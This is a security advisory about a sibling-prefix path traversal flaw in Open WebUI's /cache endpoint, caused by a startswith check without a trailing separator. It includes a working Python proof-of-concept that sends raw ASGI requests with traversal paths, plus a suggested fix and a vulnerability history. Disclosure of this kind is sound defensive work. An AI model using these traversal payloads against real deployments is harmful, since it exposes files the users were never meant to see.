Medium

Open WebUI: Sibling-Prefix Path Traversal via /cache/{path}

  • Disclosed: 17.06.2026
  • Updated: 11.10.2026 14:18

Summary

A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator.

The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation.

Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories.

Exploitation constraints

Constraint Detail
Auth required get_verified_user — any user with role user or admin
Scope Only sibling directories starting with cache (e.g. cache_backup, cached_models)
Deep traversal Blocked — ../../etc/passwd correctly fails the startswith check
Absolute paths Blocked — /etc/passwd correctly fails
Client normalization httpx/browsers normalize .. client-side — must use raw HTTP or ASGI to deliver payload

Vulnerability Details

Vulnerable function: serve_cache_file()

python
# open_webui/main.py, line 2907-2924
@app.get('/cache/{path:path}')
async def serve_cache_file(path: str, user=Depends(get_verified_user)):
    file_path = os.path.abspath(os.path.join(CACHE_DIR, path))
    # prevent path traversal
    if not file_path.startswith(os.path.abspath(CACHE_DIR)):   # ← BUG: no trailing os.sep
        raise HTTPException(status_code=404, detail='File not found')
    if not os.path.isfile(file_path):
        raise HTTPException(status_code=404, detail='File not found')
    return FileResponse(file_path, headers=headers)

The bypass

python
CACHE_DIR = "/data/cache"

# Attacker path: "../cache_sibling/secret.txt"
file_path = os.path.abspath(os.path.join("/data/cache", "../cache_sibling/secret.txt"))
# → "/data/cache_sibling/secret.txt"

"/data/cache_sibling/secret.txt".startswith("/data/cache")
# → True  ← BYPASS (because "cache_sibling" starts with "cache")

# Correct check would be:
"/data/cache_sibling/secret.txt".startswith("/data/cache/")
# → False  ← BLOCKED

Proof of Concept

Environment

Component Detail
open-webui 0.9.5 (pip installed)
Python 3.11
Import from open_webui.main import app (true import, real FastAPI app)
Method Raw ASGI request (bypasses httpx client-side .. normalization)

poc.py

python
import asyncio
import os
import shutil
import sys
import tempfile
TEMP_DATA = tempfile.mkdtemp(prefix="owui_poc_")
os.environ["DATA_DIR"] = TEMP_DATA
os.environ["WEBUI_SECRET_KEY"] = "poc_secret_key_12345"
os.environ["WEBUI_AUTH"] = "false"
CACHE_DIR = os.path.join(TEMP_DATA, "cache")
SIBLING_DIR = os.path.join(TEMP_DATA, "cache_sibling")
os.makedirs(CACHE_DIR, exist_ok=True)
os.makedirs(SIBLING_DIR, exist_ok=True)

SECRET_CONTENT = "STOLEN_FROM_SIBLING_DIR"
with open(os.path.join(SIBLING_DIR, "secret.txt"), "w") as f:
    f.write(SECRET_CONTENT)
with open(os.path.join(CACHE_DIR, "legit.txt"), "w") as f:
    f.write("legitimate_cache_file")
from open_webui.main import app
from open_webui.utils.auth import get_verified_user
class FakeUser:
    id = "poc"
    email = "poc@test"
    role = "user"

app.dependency_overrides[get_verified_user] = lambda: FakeUser()
async def raw_asgi_get(app, path):
    """Send a raw ASGI request without client-side path normalization."""
    scope = {
        "type": "http",
        "method": "GET",
        "path": path,
        "query_string": b"",
        "headers": [(b"host", b"localhost")],
        "root_path": "",
        "asgi": {"version": "3.0"},
    }
    response_started = False
    status_code = None
    body_parts = []

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        nonlocal response_started, status_code
        if message["type"] == "http.response.start":
            response_started = True
            status_code = message["status"]
        elif message["type"] == "http.response.body":
            body_parts.append(message.get("body", b""))

    await app(scope, receive, send)
    return status_code, b"".join(body_parts)


async def main():
    s1, b1 = await raw_asgi_get(app, "/cache/legit.txt")
    s2, b2 = await raw_asgi_get(app, "/cache/../cache_sibling/secret.txt")
    s3, b3 = await raw_asgi_get(app, "/cache/../../etc/passwd")

    baseline_ok = s1 == 200 and b"legitimate_cache_file" in b1
    exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2
    deep_blocked = s3 == 404

    print(f"package:     open_webui (pip installed)")
    print(f"version:     0.9.5")
    print(f"function:    serve_cache_file (GET /cache/{{path}})")
    print(f"sink:        main.py:2914  file_path.startswith(os.path.abspath(CACHE_DIR))")
    print(f"bypass:      startswith without trailing os.sep allows sibling-prefix match")
    print()
    print(f"CACHE_DIR:   {CACHE_DIR}")
    print(f"SIBLING:     {SIBLING_DIR}")
    print()
    print(f"[baseline] /cache/legit.txt            status={s1} body={b1[:40]!r}")
    print(f"[exploit]  /cache/../cache_sibling/secret.txt  status={s2} body={b2[:40]!r}")
    print(f"[control]  /cache/../../etc/passwd     status={s3} (should be 404)")
    print()
    print(f"result:      {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}")

    shutil.rmtree(TEMP_DATA, ignore_errors=True)
    sys.exit(0 if exploit_ok else 1)


if __name__ == "__main__":
    asyncio.run(main())

PoC output

<img width="1392" height="288" alt="image" src="https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713" />

Suggested Fix

python
if not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):
    raise HTTPException(status_code=404, detail='File not found')

Single character fix: append os.sep to the prefix in the startswith check.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) open-webui < 0.9.6 0.9.6

References

CVSS score 4.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness (CWE)
CWE-22
Platform
Python (PyPI)
Package
open-webui
Disclosed
17.06.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2736 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-j2c8-v969-8r5c - CC BY 4.0

Vulnerability history: open-webui

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (161) in the archive
Total entries
161
First → latest
08.2024 09.2026
Without a fix
11
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 77
  • Medium 75
  • Low 8

Disclosures per year

  1. 2024: 3
  2. 2025: 21
  3. 2026: 137
Severity:
  1. High · 7.7 CVE-2026-59221 >= 0.9.6, < 0.10.0 0.10.0
  2. High · 7.3 CVE-2026-59214 < 0.10.0 0.10.0
  3. Open WebUI: Sibling-Prefix Path Traversal via /cache/{path} this entry
    Medium · 4.3 CVE-2026-54014 < 0.9.6 0.9.6
  4. High · 8.7 CVE-2026-54011 < 0.9.6 0.9.6
  5. High · 7.1 CVE-2026-45349 < 0.9.0 0.9.0
  6. High · 7.7 CVE-2026-45303 < 0.6.5 0.6.5
  7. High · 7.1 CVE-2026-44569 < 0.6.19 0.6.19
  8. High · 8.1 CVE-2026-44565 < 0.6.10 0.6.10
  9. High · 7.3 CVE-2026-44566 < 0.1.124 0.1.124
  10. High · 7.3 CVE-2026-44567 < 0.1.124 0.1.124
  11. High · 7.3 CVE-2026-44549 < 0.8.0 0.8.0
  12. Critical · 9.1 CVE-2026-44551 < 0.9.0 0.9.0
  13. High · 7.3 CVE-2026-44721 < 0.9.0 0.9.0
  14. High · 7.7 CVE-2026-34222 < 0.8.11 0.8.11
  15. High · 8.4 CVE-2024-7990 <= 0.3.8 no fix
  16. High · 8.0 CVE-2024-7806 < 0.3.33 0.3.33
  17. High · 7.6 CVE-2024-7053 <= 0.3.8 no fix
  18. High · 8.1 CVE-2024-7043 < 0.3.16 0.3.16
  19. High · 7.5 CVE-2024-7036 <= 0.3.8 no fix
  20. High · 7.5 ghsa-w466-2wfc-8g58 <= 0.3.32 no fix
  21. High · 7.5 CVE-2024-12534 <= 0.3.32 no fix
  22. High · 7.5 CVE-2024-12537 <= 0.3.32 no fix

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